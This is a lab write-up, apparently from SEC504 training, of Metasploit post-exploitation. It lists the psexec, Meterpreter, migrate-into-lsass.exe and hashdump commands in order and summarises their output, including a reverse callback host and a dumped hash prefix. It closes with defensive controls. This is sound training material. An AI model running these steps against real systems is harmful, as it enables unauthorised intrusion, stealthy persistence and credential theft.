Post-Exploitation with Metasploit and Meterpreter
In msfconsole (v6.4.74), searched for psexec modules and selected exploit/windows/smb/psexec. Set RHOSTS, SMBUser, SMBPass, and LHOST, and ran it: authenticated as sec504, executed the payload, and opened Meterpreter session 1 as NT AUTHORITY\SYSTEM on SEC504STUDENT. Backgrounded and re-entered the session, then ran post-exploitation: sysinfo and systeminfo for host detail, getuid confirming SYSTEM, ps for the process list, getpid showing the current PID (6056), and migrate -N lsass.exe to move into a stable, always-running process (which also switched the session to x64). Finished with hashdump, recovering the local SAM NTLM hashes including the empty-password hash on the built-in accounts.
Commands
1. Search and select the module
search type:exploit psexec listed the psexec family, including smb_relay (MS08-068), ms17_010_psexec (EternalBlue and friends), and the plain smb/psexec authenticated module. info showed it is Privileged: Yes, Rank: Manual, and offers PowerShell/Native/MOF/Command targets. This is authenticated code execution, not a CVE exploit.
search type:exploit psexec use exploit/windows/smb/psexec info
2. Configure and run
Set RHOSTS (the target), SMBUser/SMBPass (the credentials, which are the actual exploit), and LHOST (the callback). exploit authenticated as sec504, selected the PowerShell target, and sent the payload.
set RHOSTS 10.10.0.1 set SMBUser sec504 set SMBPass sec504 set LHOST 10.10.75.1 exploit
3. Confirm the session and SYSTEM
The exploit opened Meterpreter session 1. background dropped back to the console; sessions listed it as NT AUTHORITY\SYSTEM @ SEC504STUDENT; sessions 1 re-entered it. sysinfo confirmed Windows 10 21H2 in the SEC504 domain. Sessions are backgroundable and re-enterable, which is how an operator juggles multiple hosts.
background sessions sessions 1 sysinfo
4. Situational awareness
execute -if systeminfo pulled full host detail (VMware, patch level, 6 hotfixes). getuid confirmed NT AUTHORITY\SYSTEM. ps listed every process with PID, PPID, user, and path, which is what you read before deciding where to migrate.
execute -if systeminfo getuid ps getpid
5. Migrate into lsass.exe
The initial session was x86 with PID 6056. migrate -N lsass.exe moved into the LSASS process; sysinfo afterward reported x64/windows. Migration does two things: it hides the session inside a critical always-running process, and it matches the host architecture so 64-bit post-exploitation tooling works.
getpid migrate -N lsass.exe sysinfo
6. Dump local credentials
hashdump read the local SAM: Administrator, DefaultAccount, Guest (all showing the empty-password NTLM hash 31d6cfe0...), plus the Sec504 and WDAGUtilityAccount hashes. This is how a single host compromise becomes credentials to attack the next one.
hashdump
Key Findings
- psexec opened a session as NT AUTHORITY\SYSTEM using valid credentials, not an exploit
- Meterpreter sessions are backgroundable and re-enterable by ID
- migrate -N lsass.exe moved into a stable process and switched the session to x64
- hashdump recovered local NTLM hashes incl. the empty-password hash 31d6cfe0...
Security Controls
- LAPS (unique local admin passwords) to stop hash reuse
- Credential Guard / LSASS protection against hashdump
- Restricting SMB admin authentication by account and host
- Detection of remote service creation (psexec technique)
- Alerting on lsass.exe process access and remote admin logons